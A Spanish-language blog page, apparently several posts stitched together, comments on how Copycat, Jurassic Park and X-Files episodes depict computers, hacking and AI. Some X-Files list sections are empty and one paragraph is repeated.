Copycat (1995) es un buen ejemplo de cómo el cine de los 90 abordaba la tecnología con una mezcla de admiración y confusión. Desde la exageración de tener tres monitores en el escritorio de Helen hasta la torpe gestión del archivo Tomorrow.AVI, la película refleja tanto las limitaciones tecnológicas de la época como las libertades creativas de los guionistas.
En el caso del archivo AVI, los personajes deciden que no se puede gestionar digitalmente y optan por convertirlo a vídeo analógico, ignorando soluciones más simples como volver a enviarlo por correo electrónico (suponiendo que fuera posible). Este detalle, combinado con la ausencia aparente de personal técnico en la policía, subraya una desconexión entre la narrativa y las capacidades reales de la tecnología, incluso para 1995.
Aunque estos detalles pueden parecer cómicos 30 años después, forman parte del encanto de un cine que imaginaba el futuro sin comprender del todo su presente. Más que errores, son un recordatorio de cómo la tecnología ha evolucionado y de cómo nuestra percepción de ella también lo ha hecho.
Warning: This challenge is still active and therefore should not be resolved using this information.
Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.
En Parque Jurásico (1993), la informática no es solo un elemento narrativo, es una pieza clave del suspense y del conflicto. A diferencia de otras películas donde las pantallas muestran interfaces ficticias o visualmente espectaculares pero irreales, Parque Jurásico opta por una aproximación sorprendentemente sobria y auténtica.
Durante bastantes escenas, se nos muestran terminales, ventanas de código y comandos que, lejos de ser decorativos, pertenecen a sistemas reales utilizados por programadores profesionales de principios de los años 90. Este detalle, que puede pasar desapercibido para el público general, resulta especialmente interesante desde un punto de vista técnico. En otras palabras, el trabajo de producción es excelente y destaca como una de las películas más respetuosas con la informática real de su época.
No es “código de película”: es software real
Uno de los puntos más interesantes es que el código que aparece en pantalla no fue escrito para la película. No hay pseudocódigo, ni pantallas diseñadas solo para quedar bonitas en cámara. Lo que se ve es software real, ejecutándose en el entorno Macintosh Programmer’s Workshop (MPW), el kit oficial de Apple para desarrolladores en aquellos años. El sistema operativo que se reconoce es un Macintosh clásico (System 7) corriendo sobre máquinas de la serie Quadra, auténticos pepinos para la época. Vamos, que cuando John Hammond decía aquello de «no hemos reparado en gastos», también iba en serio en lo informático.
«No hemos reparado en gastos»
En este punto no se le puede reprochar demasiado a la película. En líneas generales es bastante fiel a la novela, aunque la resolución del problema de seguridad se aborda de forma distinta. En el libro es el ingeniero Ray Arnold quien detecta el fallo y consigue reconducir la situación. En la película, sin embargo, el personaje desaparece cuando va a los barracones a restablecer la corriente del parque, con el resultado que todos conocemos.
Lo curioso es que muchos personajes sí cambian de forma notable con respecto al libro, el niño es mayor y más friki de los ordenadores, Ray Arnold no muere y acaba salvando la situación, o Gennaro es más atlético y bastante más valiente. Sin embargo, el gran disparate técnico permanece intacto.
En la novela se menciona de pasada a un equipo de informáticos de Cambridge que supuestamente colaboró en el diseño del software. Aun así, la puesta en marcha y la explotación del sistema recaen prácticamente en una sola persona, Dennis Nedry. Evidentemente, tanto al libro como al guion les viene de perlas que todo dependa de una única persona para que el desastre sea posible, pero cuesta aceptar que en un parque donde todo está duplicado, el control informático central dependa de una sola persona.
Curiosamente, en uno de los monitores de Nedry se puede ver una foto de Oppenheimer con la frase «Beginning of baby boom», de la que podemos sacar la conclusión de que Nedry es perfectamente consciente de que su trabajo puede tener consecuencias catastróficas e irreversibles. También es un maravilloso guiño del equipo de producción que nos está indicando exactamente donde se va originar el desastre.
Al final, Parque Jurásico no va de dinosaurios, ni siquiera de genética. Va de personas. Y, más concretamente, de personas con demasiado poder y muy pocos compañeros de equipo y poca supervisión.
Desde el punto de vista informático, la película es casi entrañable. Todo es serio, profesional y real… hasta que descubrimos que el sistema más complejo jamás construido depende, en la práctica, de un solo programador cabreado, mal pagado y con demasiadas líneas de código en la cabeza. Ningún comité de arquitectura, ninguna auditoría externa, ningún segundo par de ojos. Solo Dennis Nedry y su teclado. ¿Qué podía salir mal?
Lo curioso es que ni la película ni el libro se molestan en disimularlo demasiado. Te hablan de sistemas redundantes, de seguridad, de control absoluto… pero el corazón digital del parque es un castillo de naipes. Eso sí, un castillo de naipes programado en máquinas de primera, con software real y pantallas que hoy siguen pareciendo más creíbles que muchas producciones actuales.
Quizá por eso Parque Jurásico envejece tan bien. Porque, incluso cuando se equivoca, lo hace con honestidad. No intenta venderte magia disfrazada de tecnología. Te muestra ordenadores de verdad, código de verdad y errores muy humanos. Y al final, tanto en la novela como en la película, el mensaje es el mismo, puedes clonar dinosaurios, diseñar parques imposibles y rodearte de la mejor tecnología del mundo, que si todo depende de una sola persona, tarde o temprano, el sistema se vendrá abajo.
Y no, el problema no eran los dinosaurios, nunca lo fueron.
La serie «Expediente X» (The X-Files) ha capturado la imaginación de los espectadores desde su debut en 1993, con sus intrigantes historias de fenómenos paranormales y conspiraciones gubernamentales. Sin embargo, más allá de los extraterrestres y las criaturas sobrenaturales, la serie también exploró el mundo del hacking, la inteligencia artificial y la piratería informática, temas que se adelantaron a su tiempo y que siguen siendo relevantes hoy en día. A continuación, exploramos algunos de los episodios más emblemáticos que abordan estos temas, revelando detalles fascinantes, curiosidades y tomas falsas que los hicieron memorables.
En este episodio, Mulder y Scully investigan un asesinato en una empresa de tecnología avanzada, Eurisko, donde un sistema de inteligencia artificial llamado «COS» (Central Operating System) podría ser el responsable. La trama se centra en las posibles implicaciones de las IA descontroladas y las vulnerabilidades tecnológicas.
Curiosidades:
Tomas falsas:
Escrito por los renombrados autores de ciencia ficción William Gibson y Tom Maddox, este episodio trata sobre un hacker llamado Donald Gelman que desarrolla una inteligencia artificial avanzada y peligrosa. Mulder y Scully se encuentran en una carrera contra el tiempo para detener a la IA antes de que cause más daño.
Curiosidades:
Tomas falsas:
En este episodio, Mulder y Scully se encuentran atrapados en un videojuego de realidad virtual mientras investigan una serie de asesinatos en una empresa de desarrollo de videojuegos. La trama explora los peligros potenciales de la inmersión tecnológica y los límites entre la realidad y la ficción.
En este episodio, Mulder y Scully se encuentran atrapados en un videojuego de realidad virtual mientras investigan una serie de asesinatos en una empresa de desarrollo de videojuegos. La trama explora los peligros potenciales de la inmersión tecnológica y los límites entre la realidad y la ficción.
Curiosidades:
Tomas falsas:
Este episodio de la temporada más reciente se centra en el impacto de la inteligencia artificial y la tecnología moderna en la vida cotidiana. Mulder y Scully son perseguidos por drones y dispositivos automatizados después de un malentendido en un restaurante automatizado.
Curiosidades:
Tomas falsas:
Cabe mencionar que, en esta ocasión, no he incluido ningún episodio protagonizado por los Pistoleros Solitarios, el trío de hackers y teóricos de la conspiración favoritos de los fans. Este grupo merece un artículo dedicado para explorar en profundidad sus contribuciones únicas a la serie y su propio spin-off, que también aborda numerosos temas tecnológicos y conspirativos con su estilo distintivo.
Estos episodios no solo nos ofrecen emocionantes tramas y misterios tecnológicos, sino que también nos brindan un vistazo a un futuro potencial, uno en el que la línea entre lo humano y lo artificial se vuelve cada vez más difusa. Las curiosidades y tomas falsas detrás de cámaras añaden una capa adicional de encanto, mostrando el esfuerzo y la creatividad necesarios para dar vida a estos complejos temas.
Como fanáticos de «Expediente X», podemos apreciar cómo la serie ha sido capaz de mantenerse relevante y cautivadora al abordar cuestiones tecnológicas que son tanto atemporales como urgentes. Nos ha llevado a cuestionar nuestra confianza en las máquinas, a temer las posibles repercusiones de una inteligencia artificial sin control y a maravillarnos con las posibilidades de la realidad virtual.
En resumen, «Expediente X» no solo ha sido un pionero en la televisión de ciencia ficción y misterio, sino que también ha demostrado una notable capacidad para explorar y anticipar los dilemas tecnológicos que enfrentamos hoy en día. Estos episodios son un recordatorio de que, en el vasto universo de lo desconocido, la tecnología juega un papel crucial y, a veces, aterrador. Para los verdaderos fans, cada uno de estos episodios es una joya que merece ser revivida y analizada, apreciando su profundidad y relevancia en nuestro mundo cada vez más digital.
Todas las imágenes de esta entrada han sido generadas con ChatGPT.
